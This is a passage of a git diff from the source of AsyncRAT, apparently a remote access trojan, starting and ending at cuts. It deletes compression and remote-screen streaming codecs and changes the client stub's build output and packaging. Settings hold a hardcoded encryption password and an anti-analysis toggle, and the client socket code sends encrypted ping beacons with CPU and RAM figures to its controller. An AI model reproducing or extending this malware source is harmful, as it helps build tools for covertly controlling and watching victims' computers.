>> 1) | 0x80000000), 4); - cword_ptr = dst; - dst += CWORD_LEN; - cword_val = 0x80000000; - } - - if (level == 1) - { - int hash = ((fetch >> 12) ^ fetch) & (HASH_VALUES - 1); - int o = hashtable[hash, 0]; - int cache = cachetable[hash] ^ fetch; - cachetable[hash] = fetch; - hashtable[hash, 0] = src; - - if (cache == 0 && hash_counter[hash] != 0 && (src - o > MINOFFSET || (src == o + 1 && lits >= 3 && src > 3 && source[src] == source[src - 3] && - source[src] == source[src - 2] && source[src] == source[src - 1] && - source[src] == source[src + 1] && source[src] == source[src + 2]))) - { - cword_val = ((cword_val >> 1) | 0x80000000); - if (source[o + 3] != source[src + 3]) - { - int f = 3 - 2 | (hash << 4); - destination[dst + 0] = (byte)(f >> 0 * 8); - destination[dst + 1] = (byte)(f >> 1 * 8); - src += 3; - dst += 2; - } - else - { - int old_src = src; - int remaining = ((Length - UNCOMPRESSED_END - src + 1 - 1) > 255 ? 255 : (Length - UNCOMPRESSED_END - src + 1 - 1)); - - src += 4; - if (source[o + src - old_src] == source[src]) - { - src++; - if (source[o + src - old_src] == source[src]) - { - src++; - while (source[o + (src - old_src)] == source[src] && (src - old_src) < remaining) - src++; - } - } - - int matchlen = src - old_src; - - hash <<= 4; - if (matchlen < 18) - { - int f = (hash | (matchlen - 2)); - destination[dst + 0] = (byte)(f >> 0 * 8); - destination[dst + 1] = (byte)(f >> 1 * 8); - dst += 2; - } - else - { - fast_write(destination, dst, hash | (matchlen << 16), 3); - dst += 3; - } - } - fetch = source[src] | (source[src + 1] << 8) | (source[src + 2] << 16); - lits = 0; - } - else - { - lits++; - hash_counter[hash] = 1; - destination[dst] = source[src]; - cword_val = (cword_val >> 1); - src++; - dst++; - fetch = ((fetch >> 8) & 0xffff) | (source[src + 2] << 16); - } - - } - else - { - fetch = source[src] | (source[src + 1] << 8) | (source[src + 2] << 16); - - int o, offset2; - int matchlen, k, m, best_k = 0; - byte c; - int remaining = ((Length - UNCOMPRESSED_END - src + 1 - 1) > 255 ? 255 : (Length - UNCOMPRESSED_END - src + 1 - 1)); - int hash = ((fetch >> 12) ^ fetch) & (HASH_VALUES - 1); - - c = hash_counter[hash]; - matchlen = 0; - offset2 = 0; - for (k = 0; k < QLZ_POINTERS_3 && c > k; k++) - { - o = hashtable[hash, k]; - if ((byte)fetch == source[o] && (byte)(fetch >> 8) == source[o + 1] && (byte)(fetch >> 16) == source[o + 2] && o < src - MINOFFSET) - { - m = 3; - while (source[o + m] == source[src + m] && m < remaining) - m++; - if ((m > matchlen) || (m == matchlen && o > offset2)) - { - offset2 = o; - matchlen = m; - best_k = k; - } - } - } - o = offset2; - hashtable[hash, c & (QLZ_POINTERS_3 - 1)] = src; - c++; - hash_counter[hash] = c; - - if (matchlen >= 3 && src - o < 131071) - { - int offset = src - o; - - for (int u = 1; u < matchlen; u++) - { - fetch = source[src + u] | (source[src + u + 1] << 8) | (source[src + u + 2] << 16); - hash = ((fetch >> 12) ^ fetch) & (HASH_VALUES - 1); - c = hash_counter[hash]++; - hashtable[hash, c & (QLZ_POINTERS_3 - 1)] = src + u; - } - - src += matchlen; - cword_val = ((cword_val >> 1) | 0x80000000); - - if (matchlen == 3 && offset <= 63) - { - fast_write(destination, dst, offset << 2, 1); - dst++; - } - else if (matchlen == 3 && offset <= 16383) - { - fast_write(destination, dst, (offset << 2) | 1, 2); - dst += 2; - } - else if (matchlen <= 18 && offset <= 1023) - { - fast_write(destination, dst, ((matchlen - 3) << 2) | (offset << 6) | 2, 2); - dst += 2; - } - else if (matchlen <= 33) - { - fast_write(destination, dst, ((matchlen - 2) << 2) | (offset << 7) | 3, 3); - dst += 3; - } - else - { - fast_write(destination, dst, ((matchlen - 3) << 7) | (offset << 15) | 3, 4); - dst += 4; - } - lits = 0; - } - else - { - destination[dst] = source[src]; - cword_val = (cword_val >> 1); - src++; - dst++; - } - } - } - while (src <= Length - 1) - { - if ((cword_val & 1) == 1) - { - fast_write(destination, cword_ptr, (int)((cword_val >> 1) | 0x80000000), 4); - cword_ptr = dst; - dst += CWORD_LEN; - cword_val = 0x80000000; - } - - destination[dst] = source[src]; - src++; - dst++; - cword_val = (cword_val >> 1); - } - while ((cword_val & 1) != 1) - { - cword_val = (cword_val >> 1); - } - - fast_write(destination, cword_ptr, (int)((cword_val >> 1) | 0x80000000), CWORD_LEN); - write_header(destination, level, true, Length, dst); - d2 = new byte[dst]; - System.Array.Copy(destination, d2, dst); - return d2; - } - - - private void fast_write(byte[] a, int i, int value, int numbytes) - { - for (int j = 0; j < numbytes; j++) - a[i + j] = (byte)(value >> (j * 8)); - } - - public byte[] decompress(byte[] source, int Offset, int Length) - { - int level; - int size = sizeDecompressed(source, Offset); - int src = headerLen(source, Offset) + Offset; - int dst = 0; - uint cword_val = 1; - byte[] destination = new byte[size]; - int[] hashtable = new int[4096]; - byte[] hash_counter = new byte[4096]; - int last_matchstart = size - UNCONDITIONAL_MATCHLEN - UNCOMPRESSED_END - 1; - int last_hashed = -1; - int hash; - uint fetch = 0; - - level = (source[Offset] >> 2) & 0x3; - - if (level != 1 && level != 3) - throw new ArgumentException("C# version only supports level 1 and 3"); - - if ((source[Offset] & 1) != 1) - { - byte[] d2 = new byte[size]; - System.Array.Copy(source, headerLen(source, Offset), d2, Offset, size); - return d2; - } - - for (; ; ) - { - if (cword_val == 1) - { - cword_val = (uint)(source[src] | (source[src + 1] << 8) | (source[src + 2] << 16) | (source[src + 3] << 24)); - src += 4; - if (dst <= last_matchstart) - { - if (level == 1) - fetch = (uint)(source[src] | (source[src + 1] << 8) | (source[src + 2] << 16)); - else - fetch = (uint)(source[src] | (source[src + 1] << 8) | (source[src + 2] << 16) | (source[src + 3] << 24)); - } - } - - if ((cword_val & 1) == 1) - { - uint matchlen; - uint offset2; - - cword_val = cword_val >> 1; - - if (level == 1) - { - hash = ((int)fetch >> 4) & 0xfff; - offset2 = (uint)hashtable[hash]; - - if ((fetch & 0xf) != 0) - { - matchlen = (fetch & 0xf) + 2; - src += 2; - } - else - { - matchlen = source[src + 2]; - src += 3; - } - } - else - { - uint offset; - if ((fetch & 3) == 0) - { - offset = (fetch & 0xff) >> 2; - matchlen = 3; - src++; - } - else if ((fetch & 2) == 0) - { - offset = (fetch & 0xffff) >> 2; - matchlen = 3; - src += 2; - } - else if ((fetch & 1) == 0) - { - offset = (fetch & 0xffff) >> 6; - matchlen = ((fetch >> 2) & 15) + 3; - src += 2; - } - else if ((fetch & 127) != 3) - { - offset = (fetch >> 7) & 0x1ffff; - matchlen = ((fetch >> 2) & 0x1f) + 2; - src += 3; - } - else - { - offset = (fetch >> 15); - matchlen = ((fetch >> 7) & 255) + 3; - src += 4; - } - offset2 = (uint)(dst - offset); - } - - destination[dst + 0] = destination[offset2 + 0]; - destination[dst + 1] = destination[offset2 + 1]; - destination[dst + 2] = destination[offset2 + 2]; - - for (int i = 3; i < matchlen; i += 1) - { - destination[dst + i] = destination[offset2 + i]; - } - - dst += (int)matchlen; - - if (level == 1) - { - fetch = (uint)(destination[last_hashed + 1] | (destination[last_hashed + 2] << 8) | (destination[last_hashed + 3] << 16)); - while (last_hashed < dst - matchlen) - { - last_hashed++; - hash = (int)(((fetch >> 12) ^ fetch) & (HASH_VALUES - 1)); - hashtable[hash] = last_hashed; - hash_counter[hash] = 1; - fetch = (uint)(fetch >> 8 & 0xffff | destination[last_hashed + 3] << 16); - } - fetch = (uint)(source[src] | (source[src + 1] << 8) | (source[src + 2] << 16)); - } - else - { - fetch = (uint)(source[src] | (source[src + 1] << 8) | (source[src + 2] << 16) | (source[src + 3] << 24)); - } - last_hashed = dst - 1; - } - else - { - if (dst <= last_matchstart) - { - destination[dst] = source[src]; - dst += 1; - src += 1; - cword_val = cword_val >> 1; - - if (level == 1) - { - while (last_hashed < dst - 3) - { - last_hashed++; - int fetch2 = destination[last_hashed] | (destination[last_hashed + 1] << 8) | (destination[last_hashed + 2] << 16); - hash = ((fetch2 >> 12) ^ fetch2) & (HASH_VALUES - 1); - hashtable[hash] = last_hashed; - hash_counter[hash] = 1; - } - fetch = (uint)(fetch >> 8 & 0xffff | source[src + 2] << 16); - } - else - { - fetch = (uint)(fetch >> 8 & 0xffff | source[src + 2] << 16 | source[src + 3] << 24); - } - } - else - { - while (dst <= size - 1) - { - if (cword_val == 1) - { - src += CWORD_LEN; - cword_val = 0x80000000; - } - - destination[dst] = source[src]; - dst++; - src++; - cword_val = cword_val >> 1; - } - return destination; - } - } - } - } - } -} \ No newline at end of file diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/src/SimpleBitmap.cs b/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/src/SimpleBitmap.cs deleted file mode 100644 index ab62e1f..0000000 --- a/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/src/SimpleBitmap.cs +++ /dev/null @@ -1,177 +0,0 @@ -using System; -using System.Collections.Generic; -using System.Drawing; -using System.Drawing.Imaging; -using System.Runtime.InteropServices; -using System.Text; - -namespace StreamLibrary.src -{ - public unsafe class SimpleBitmap - { - private object ProcessingLock = new object(); - - public SimpleBitmapInfo Info { get; internal set; } - public bool Locked { get { return Scan0 == IntPtr.Zero ? false : true; } } - public IntPtr Scan0 { get; internal set; } - public int Scan0_int { get; internal set; } - public BitmapData bitmapData { get; internal set; } - public Bitmap bitMap { get; set; } - - public class SimpleBitmapInfo - { - public SimpleBitmapInfo() - { - Clear(); - } - public SimpleBitmapInfo(BitmapData data) - { - Load(data); - } - public int Stride { get; protected set; } - public int PixelSize { get; protected set; } - public int Width { get; protected set; } - public int Height { get; protected set; } - - public int TotalSize { get; protected set; } - - internal void Clear() - { - Stride = 0; PixelSize = 0; Width = 0; Height = 0; TotalSize = 0; - } - internal void Load(BitmapData data) - { - Width = data.Width; Height = data.Height; Stride = data.Stride; - - PixelSize = Math.Abs(data.Stride) / data.Width; - TotalSize = data.Width * data.Height * PixelSize; - } - } - - public static bool Compare(Rectangle block, int ptr1, int ptr2, SimpleBitmapInfo sharedInfo) - { - int calc = 0; - int WidthSize = block.Width * sharedInfo.PixelSize; - - calc = (block.Y) * sharedInfo.Stride + block.X * sharedInfo.PixelSize; - - for (int i = 0; i < block.Height; i++) - { - if (NativeMethods.memcmp((byte*)(ptr1 + calc), (byte*)(ptr2 + calc), (uint)WidthSize) != 0) - return false; - calc += sharedInfo.Stride; - } - return true; - } - public static bool Compare(int y, int rowsize, int ptr1, int ptr2, SimpleBitmapInfo sharedInfo) - { - int calc = 0; - int Size = sharedInfo.Width * sharedInfo.PixelSize * rowsize; - - calc = y * sharedInfo.Stride; - - if (NativeMethods.memcmp((byte*)(ptr1 + calc), (byte*)(ptr2 + calc), (uint)Size) != 0) - return false; - return true; - } - public static bool FastCompare(int offset, int size, int ptr1, int ptr2, SimpleBitmapInfo sharedInfo) - { - if (NativeMethods.memcmp((byte*)(ptr1 + offset), (byte*)(ptr2 + offset), (uint)size) != 0) - return false; - return true; - } - - public unsafe void CopyBlock(Rectangle block, ref byte[] dest) - { - int calc = 0; - int WidthSize = block.Width * Info.PixelSize; - int CopyOffset = 0; - int scan0 = Scan0.ToInt32(); - int destSize = WidthSize * block.Height; - - if (dest == null || dest.Length != destSize) - dest = new byte[destSize]; - - calc = (block.Y) * Info.Stride + block.X * Info.PixelSize; - - fixed (byte* ptr = dest) - { - for (int i = 0; i < block.Height; i++) - { - NativeMethods.memcpy(new IntPtr(ptr + CopyOffset), new IntPtr(scan0 + calc), (uint)WidthSize); - calc += Info.Stride; - CopyOffset += WidthSize; - } - } - } - - public SimpleBitmap() - { - Scan0 = IntPtr.Zero; - bitmapData = null; - bitMap = null; - - Info = new SimpleBitmapInfo(); - } - public SimpleBitmap(Bitmap bmp) - { - this.bitMap = bmp; - } - - public void Lock() - { - if (Locked) - throw new Exception("Already locked"); - - lock (ProcessingLock) - { - bitmapData = bitMap.LockBits(new Rectangle(0, 0, bitMap.Width, bitMap.Height), ImageLockMode.ReadWrite, bitMap.PixelFormat); - - Info = new SimpleBitmapInfo(bitmapData); - - Scan0 = bitmapData.Scan0; - Scan0_int = Scan0.ToInt32(); - } - } - public void Unlock() - { - if (!Locked) - throw new Exception("Nothing to unlock"); - - lock (ProcessingLock) - { - Scan0 = IntPtr.Zero; - Scan0_int = 0; - - Info.Clear(); - bitMap.UnlockBits(bitmapData); - bitmapData = null; - } - } - public unsafe void PlaceBlockAtRectange(byte[] block, Rectangle loc) - { - int CopySize = Info.PixelSize * loc.Width; - int OffsetX = loc.X * Info.PixelSize; - int TotalCopied = 0; - - fixed (byte* ptr = block) - { - for (int i = 0; i < loc.Height; i++) - { - NativeMethods.memcpy(new IntPtr(Scan0_int + ((loc.Y + i) * Info.Stride + OffsetX)), new IntPtr(ptr + TotalCopied), (uint)CopySize); - TotalCopied += CopySize; - } - } - } - public void Dispose(bool disposeBitmap = false) - { - if (Locked) - Unlock(); - - if (disposeBitmap) - bitMap.Dispose(); - - bitMap = null; - } - } -} \ No newline at end of file diff --git a/AsyncRAT-C#/Client/Client.csproj b/AsyncRAT-C#/Client/Client.csproj index d87a648..34ba457 100644 --- a/AsyncRAT-C#/Client/Client.csproj +++ b/AsyncRAT-C#/Client/Client.csproj @@ -1,6 +1,6 @@  - + Debug @@ -36,7 +36,7 @@ true full false - ..\AsyncRAT-Sharp\Resources\ + ..\AsyncRAT-Sharp\bin\Debug\Stub\ DEBUG;TRACE prompt 4 @@ -49,7 +49,7 @@ x86 none true - ..\AsyncRAT-Sharp\Resources\ + ..\AsyncRAT-Sharp\bin\Release\Stub\ TRACE prompt 4 @@ -61,8 +61,11 @@ + + ..\packages\Costura.Fody.4.0.0\lib\net40\Costura.dll + - ..\packages\IconLib\IconLib.dll + ..\AsyncRAT-Sharp\Resources\IconLib.dll @@ -96,35 +99,12 @@ - - - - - - - - - - - - - - - - - - - - - - - @@ -139,12 +119,12 @@ - This project references NuGet package(s) that are missing on this computer. Use NuGet Package Restore to download them. For more information, see http://go.microsoft.com/fwlink/?LinkID=322105. The missing file is {0}. - - + + + \ No newline at end of file diff --git a/AsyncRAT-C#/Client/Settings.cs b/AsyncRAT-C#/Client/Settings.cs index 73eeae3..24c558c 100644 --- a/AsyncRAT-C#/Client/Settings.cs +++ b/AsyncRAT-C#/Client/Settings.cs @@ -14,7 +14,11 @@ namespace Client public static readonly string Password = "NYAN CAT"; public static readonly Aes256 aes256 = new Aes256(Password); public static readonly string MTX = "%MTX%"; - public static readonly string Anti = "%Anti%"; - //public static readonly string Anti = "false"; +#if DEBUG + public static readonly string Anti = "false"; + +#else + public static readonly string Anti = "%Anti%"; +#endif } } \ No newline at end of file diff --git a/AsyncRAT-C#/Client/Sockets/ClientSocket.cs b/AsyncRAT-C#/Client/Sockets/ClientSocket.cs index c84c7cf..e2cc9d1 100644 --- a/AsyncRAT-C#/Client/Sockets/ClientSocket.cs +++ b/AsyncRAT-C#/Client/Sockets/ClientSocket.cs @@ -199,23 +199,29 @@ namespace Client.Sockets public static void CheckServer(object obj) { - try + lock (SendSync) { - MsgPack msgpack = new MsgPack(); - msgpack.ForcePathObject("Packet").AsString = "Ping"; - msgpack.ForcePathObject("Message").AsString = $"CPU {(int)TheCPUCounter.NextValue()}% RAM {(int)TheMemCounter.NextValue()}%"; + lock (EndSendSync) + { + try + { + MsgPack msgpack = new MsgPack(); + msgpack.ForcePathObject("Packet").AsString = "Ping"; + msgpack.ForcePathObject("Message").AsString = $"CPU {(int)TheCPUCounter.NextValue()}% RAM {(int)TheMemCounter.NextValue()}%"; - byte[] buffer = Settings.aes256.Encrypt(msgpack.Encode2Bytes()); - byte[] buffersize = BitConverter.GetBytes(buffer.Length); + byte[] buffer = Settings.aes256.Encrypt(msgpack.Encode2Bytes()); + byte[] buffersize = BitConverter.GetBytes(buffer.Length); - Client.Poll(-1, SelectMode.SelectWrite); - Client.Send(buffersize, 0, buffersize.Length, SocketFlags.None); - Client.Send(buffer, 0, buffer.Length, SocketFlags.None); - } - catch - { - IsConnected = false; - return; + Client.Poll(-1, SelectMode.SelectWrite); + Client.Send(buffersize, 0, buffersize.Length, SocketFlags.None); + Client.Send(buffer, 0, buffer.Length, SocketFlags.None); + } + catch + { + IsConnected = false; + return; + } + } } } } diff --git a/AsyncRAT-C#/Client/StreamLibrary/Codecs/DirectDriverCodec.cs b/AsyncRAT-C#/Client/StreamLibrary/Codecs/DirectDriverCodec.cs deleted file mode 100644 index fce74ea..0000000 --- a/AsyncRAT-C#/Client/StreamLibrary/Codecs/DirectDriverCodec.cs +++ /dev/null @@ -1,160 +0,0 @@ -using StreamLibrary.src; -using System; -using System.Collections.Generic; -using System.Diagnostics; -using System.Drawing; -using System.Drawing.Imaging; -using System.IO; -using System.Text; - -namespace StreamLibrary.Codecs -{ - public class DirectDriverCodec - { - private Bitmap decodedBitmap; - - private byte[] EncodeBuffer; - private PixelFormat EncodedFormat; - private int EncodedWidth; - private int EncodedHeight; - private JpgCompression jpgCompression; - - public DirectDriverCodec(int Quality) - { - jpgCompression = new JpgCompression(Quality); - } - - public unsafe void CodeImage(IntPtr Scan0, Rectangle[] Changes, Size ImageSize, PixelFormat Format, Stream outStream) - { - byte* pScan0 = (byte*)Scan0.ToInt32(); - if (!outStream.CanWrite) - throw new Exception("Must have access to Write in the Stream"); - - int Stride = 0; - int RawLength = 0; - int PixelSize = 0; - - switch (Format) - { - case PixelFormat.Format24bppRgb: - PixelSize = 3; - break; - case PixelFormat.Format32bppArgb: - case PixelFormat.Format32bppPArgb: - PixelSize = 4; - break; - default: - throw new NotSupportedException(Format.ToString()); - } - - Stride = ImageSize.Width * PixelSize; - RawLength = Stride * ImageSize.Height; - - if (EncodeBuffer == null) - { - this.EncodedFormat = Format; - this.EncodedWidth = ImageSize.Width; - this.EncodedHeight = ImageSize.Height; - this.EncodeBuffer = new byte[RawLength]; - fixed (byte* ptr = EncodeBuffer) - { - byte[] temp = null; - using (Bitmap TmpBmp = new Bitmap(ImageSize.Width, ImageSize.Height, Stride, Format, Scan0)) - { - temp = jpgCompression.Compress(TmpBmp); - } - - outStream.Write(BitConverter.GetBytes(temp.Length), 0, 4); - outStream.Write(temp, 0, temp.Length); - NativeMethods.memcpy(new IntPtr(ptr), Scan0, (uint)RawLength); - } - return; - } - - long oldPos = outStream.Position; - outStream.Write(new byte[4], 0, 4); - int TotalDataLength = 0; - - for (int i = 0; i < Changes.Length; i++) - { - Rectangle rect = Changes[i]; - int blockStride = PixelSize * rect.Width; - - Bitmap TmpBmp = new Bitmap(rect.Width, rect.Height, Format); - BitmapData TmpData = TmpBmp.LockBits(new Rectangle(0, 0, TmpBmp.Width, TmpBmp.Height), ImageLockMode.ReadWrite, TmpBmp.PixelFormat); - for (int j = 0, offset = 0; j < rect.Height; j++) - { - int blockOffset = (Stride * (rect.Y + j)) + (PixelSize * rect.X); - NativeMethods.memcpy((byte*)TmpData.Scan0.ToPointer() + offset, pScan0 + blockOffset, (uint)blockStride); //copy-changes - offset += blockStride; - } - TmpBmp.UnlockBits(TmpData); - - outStream.Write(BitConverter.GetBytes(rect.X), 0, 4); - outStream.Write(BitConverter.GetBytes(rect.Y), 0, 4); - outStream.Write(BitConverter.GetBytes(rect.Width), 0, 4); - outStream.Write(BitConverter.GetBytes(rect.Height), 0, 4); - outStream.Write(new byte[4], 0, 4); - - long length = outStream.Position; - long OldPos = outStream.Position; - jpgCompression.Compress(TmpBmp, ref outStream); - length = outStream.Position - length; - - outStream.Position = OldPos - 4; - outStream.Write(BitConverter.GetBytes((int)length), 0, 4); - outStream.Position += length; - TmpBmp.Dispose(); - TotalDataLength += (int)length + (4 * 5); - } - outStream.Position = oldPos; - outStream.Write(BitConverter.GetBytes(TotalDataLength), 0, 4); - } - - public Bitmap DecodeData(Stream inStream) - { - byte[] temp = new byte[4]; - inStream.Read(temp, 0, 4); - int DataSize = BitConverter.ToInt32(temp, 0); - - if (decodedBitmap == null) - { - temp = new byte[DataSize]; - inStream.Read(temp, 0, temp.Length); - this.decodedBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp)); - return decodedBitmap; - } - return decodedBitmap; - - List updates = new List(); - Rectangle rect; - Graphics g = Graphics.FromImage(decodedBitmap); - Bitmap tmp; - byte[] buffer = null; - MemoryStream m; - - while (DataSize > 0) - { - byte[] tempData = new byte[4 * 5]; - inStream.Read(tempData, 0, tempData.Length); - - rect = new Rectangle(BitConverter.ToInt32(tempData, 0), BitConverter.ToInt32(tempData, 4), - BitConverter.ToInt32(tempData, 8), BitConverter.ToInt32(tempData, 12)); - int UpdateLen = BitConverter.ToInt32(tempData, 16); - buffer = new byte[UpdateLen]; - inStream.Read(buffer, 0, buffer.Length); - - m = new MemoryStream(buffer); - tmp = (Bitmap)Image.FromStream(m); - g.DrawImage(tmp, rect.Location); - tmp.Dispose(); - - m.Close(); - m.Dispose(); - DataSize -= UpdateLen + (4 * 5); - } - g.Dispose(); - return decodedBitmap; - } - } -} \ No newline at end of file diff --git a/AsyncRAT-C#/Client/StreamLibrary/Codecs/MJPGCodec.cs b/AsyncRAT-C#/Client/StreamLibrary/Codecs/MJPGCodec.cs deleted file mode 100644 index 072ff3e..0000000 --- a/AsyncRAT-C#/Client/StreamLibrary/Codecs/MJPGCodec.cs +++ /dev/null @@ -1,68 +0,0 @@ -using StreamLibrary.src; -using System; -using System.Collections.Generic; -using System.Drawing; -using System.IO; -using System.Text; - -namespace StreamLibrary.Codecs -{ - /// - /// The M-JPG codec is not very efficient for networking as it is just a very simple codec - /// - public class MJPGCodec : IVideoCodec - { - public override event IVideoCodec.VideoCodeProgress onVideoStreamCoding; - public override event IVideoCodec.VideoDecodeProgress onVideoStreamDecoding; - public override event IVideoCodec.VideoDebugScanningDelegate onCodeDebugScan; - public override event IVideoCodec.VideoDebugScanningDelegate onDecodeDebugScan; - - public override ulong CachedSize - { - get { return 0; } - internal set { } - } - - public override int BufferCount - { - get { return 0; } - } - - public override CodecOption CodecOptions - { - get { return CodecOption.None; } - } - - public MJPGCodec(int ImageQuality = 100) - : base(ImageQuality) - { - - } - - public override void CodeImage(Bitmap bitmap, Stream outStream) - { - lock (base.jpgCompression) - { - byte[] data = base.jpgCompression.Compress(bitmap); - outStream.Write(BitConverter.GetBytes(data.Length), 0, 4); - outStream.Write(data, 0, data.Length); - } - } - - public override Bitmap DecodeData(Stream inStream) - { - lock (base.jpgCompression) - { - if (!inStream.CanRead) - throw new Exception("Must have access to Read in the Stream"); - - byte[] temp = new byte[4]; - inStream.Read(temp, 0, temp.Length); - int DataLength = BitConverter.ToInt32(temp, 0); - temp = new byte[DataLength]; - inStream.Read(temp, 0, temp.Length); - return (Bitmap)Bitmap.FromStream(new MemoryStream(temp)); - } - } - } -} \ No newline at end of file diff --git a/AsyncRAT-C#/Client/StreamLibrary/Codecs/QuickCachedStreamCodec.cs b/AsyncRAT-C#/Client/StreamLibrary/Codecs/QuickCachedStreamCodec.cs deleted file mode 100644 index e9dc63c..0000000 --- a/AsyncRAT-C#/Client/StreamLibrary/Codecs/QuickCachedStreamCodec.cs +++ /dev/null @@ -1,204 +0,0 @@ -using StreamLibrary.src; -using System; -using System.Collections.Generic; -using System.Drawing; -using System.Drawing.Imaging; -using System.IO; -using System.Text; - -namespace StreamLibrary.Codecs -{ - public class QuickCachedStreamCodec : IVideoCodec - { - private Bitmap CodeTempBitmap; - private Bitmap DecodeTempBitmap; - - public override event IVideoCodec.VideoCodeProgress onVideoStreamCoding; - public override event IVideoCodec.VideoDecodeProgress onVideoStreamDecoding; - public override event IVideoCodec.VideoDebugScanningDelegate onCodeDebugScan; - public override event IVideoCodec.VideoDebugScanningDelegate onDecodeDebugScan; - public override ulong CachedSize - { - get; - internal set; - } - - public int MaxBuffers { get; private set; } - private SortedList EncodeCache; - private SortedList DecodeCache; - - - /// - /// Initialize a new object of QuickStreamCodec - /// - /// The image quality 0-100% - public QuickCachedStreamCodec(int MaxBuffers = 5000, int ImageQuality = 100) - : base(ImageQuality) - { - this.MaxBuffers = MaxBuffers; - this.EncodeCache = new SortedList(); - this.DecodeCache = new SortedList(); - } - - public override int BufferCount - { - get { return 1; } - } - public override CodecOption CodecOptions - { - get { return CodecOption.RequireSameSize | CodecOption.AutoDispose; } - } - - public override unsafe void CodeImage(Bitmap bitmap, Stream outStream) - { - if (!outStream.CanWrite) - throw new Exception("Must have access to Write in the Stream"); - - if (CodeTempBitmap != null) - { - if (CodeTempBitmap.Width != bitmap.Width || CodeTempBitmap.Height != bitmap.Height) - throw new Exception("Bitmap width/height are not equal to previous bitmap"); - if (bitmap.PixelFormat != CodeTempBitmap.PixelFormat) - throw new Exception("PixelFormat is not equal to previous Bitmap"); - } - - if (CodeTempBitmap == null) - { - byte[] temp = base.jpgCompression.Compress(bitmap); - outStream.Write(BitConverter.GetBytes(temp.Length), 0, 4); - outStream.Write(temp, 0, temp.Length); - CodeTempBitmap = bitmap; - return; - } - - BitmapData bmpData = bitmap.LockBits(new Rectangle(0, 0, bitmap.Width, bitmap.Height), ImageLockMode.ReadWrite, bitmap.PixelFormat); - BitmapData CodeBmpData = CodeTempBitmap.LockBits(new Rectangle(0, 0, bitmap.Width, bitmap.Height), ImageLockMode.ReadWrite, bitmap.PixelFormat); - int Stride = Math.Abs(bmpData.Stride); - - List Blocks = new List(); - - for (int y = 0, i = 0; y < bitmap.Height; y++, i += Stride) - { - if (onCodeDebugScan != null) - onCodeDebugScan(new Rectangle(0, y, bitmap.Width, 1)); - - Rectangle ScanBlock = new Rectangle(0, y, bitmap.Width, 1); - if (NativeMethods.memcmp(new IntPtr(bmpData.Scan0.ToInt32() + i), new IntPtr(CodeBmpData.Scan0.ToInt32() + i), (uint)Stride) != 0) - { - byte[] temp = new byte[Stride]; - fixed(byte* ptr = temp) - { - NativeMethods.memcpy(ptr, (void*)(bmpData.Scan0.ToInt32() + i), (uint)temp.Length); - } - - CRC32 hasher = new CRC32(); - int hash = BitConverter.ToInt32(hasher.ComputeHash(temp), 0); - - if (EncodeCache.Count >= MaxBuffers) - EncodeCache.RemoveAt(0); - - if (EncodeCache.ContainsKey(hash)) - { - outStream.WriteByte(1); - outStream.Write(new byte[4], 0, 4); - outStream.Write(BitConverter.GetBytes(hash), 0, 4); - outStream.Write(BitConverter.GetBytes((ushort)y), 0, 2); - } - else - { - outStream.WriteByte(0); - outStream.Write(BitConverter.GetBytes(temp.Length), 0, 4); - outStream.Write(BitConverter.GetBytes(hash), 0, 4); - outStream.Write(BitConverter.GetBytes((ushort)y), 0, 2); - outStream.Write(temp, 0, temp.Length); - EncodeCache.Add(hash, temp); - } - Blocks.Add(ScanBlock); - } - } - - for (int i = 0; i < Blocks.Count; i++) - { - Bitmap cloned = (Bitmap)bitmap.Clone(Blocks[i], bitmap.PixelFormat); - byte[] temp = base.jpgCompression.Compress(cloned); - - cloned.Dispose(); - } - - bitmap.UnlockBits(bmpData); - CodeTempBitmap.UnlockBits(CodeBmpData); - - if (onVideoStreamCoding != null) - onVideoStreamCoding(outStream, Blocks.ToArray()); - - if (CodeTempBitmap != null) - CodeTempBitmap.Dispose(); - this.CodeTempBitmap = bitmap; - } - - public override Bitmap DecodeData(Stream inStream) - { - if (!inStream.CanRead) - throw new Exception("Must have access to Read in the Stream"); - - if (DecodeTempBitmap == null) - { - byte[] temp = new byte[4]; - inStream.Read(temp, 0, 4); - int DataSize = BitConverter.ToInt32(temp, 0); - temp = new byte[DataSize]; - inStream.Read(temp, 0, temp.Length); - DecodeTempBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp)); - return DecodeTempBitmap; - } - - //BitmapData BmpData = DecodeTempBitmap.LockBits(new Rectangle(0, 0, DecodeTempBitmap.Width, DecodeTempBitmap.Height), ImageLockMode.WriteOnly, DecodeTempBitmap.PixelFormat); - //int Stride = Math.Abs(BmpData.Stride); - - while (inStream.Position < inStream.Length) - { - byte[] temp = new byte[11]; - if (inStream.Read(temp, 0, temp.Length) != temp.Length) - break; - - bool inCache = temp[0] == 1; - int DataSize = BitConverter.ToInt32(temp, 1); - int Hash = BitConverter.ToInt32(temp, 5); - ushort Y = BitConverter.ToUInt16(temp, 9); - - temp = new byte[DataSize]; - if (inStream.Read(temp, 0, temp.Length) != temp.Length) - break; - - if (inCache) - { - if (DecodeCache.ContainsKey(Hash)) - { - temp = DecodeCache[Hash]; - } - else - { - - } - } - - //copy new data to cached bitmap - Bitmap tmpBmp = (Bitmap)Bitmap.FromStream(new MemoryStream(temp)); - - using (Graphics g = Graphics.FromImage(DecodeTempBitmap)) - { - g.DrawImage(tmpBmp, new Point(0, Y)); - } - - /*BitmapData tmpData = tmpBmp.LockBits(new Rectangle(0, 0, tmpBmp.Width, tmpBmp.Height), ImageLockMode.WriteOnly, tmpBmp.PixelFormat); - int Offset = Y * Stride; - NativeMethods.memcpy(new IntPtr(BmpData.Scan0.ToInt32() + Offset), tmpData.Scan0, (uint)(tmpBmp.Height * Stride));*/ - //tmpBmp.UnlockBits(tmpData); - tmpBmp.Dispose(); - } - //DecodeTempBitmap.UnlockBits(BmpData); - - return DecodeTempBitmap; - } - } -} diff --git a/AsyncRAT-C#/Client/StreamLibrary/Codecs/QuickStreamCodec.cs b/AsyncRAT-C#/Client/StreamLibrary/Codecs/QuickStreamCodec.cs deleted file mode 100644 index ee8227c..0000000 --- a/AsyncRAT-C#/Client/StreamLibrary/Codecs/QuickStreamCodec.cs +++ /dev/null @@ -1,179 +0,0 @@ -using StreamLibrary.src; -using System; -using System.Collections.Generic; -using System.Drawing; -using System.Drawing.Imaging; -using System.IO; -using System.Text; - -namespace StreamLibrary.Codecs -{ - public class QuickStreamCodec : IVideoCodec - { - private Bitmap CodeTempBitmap; - private Bitmap 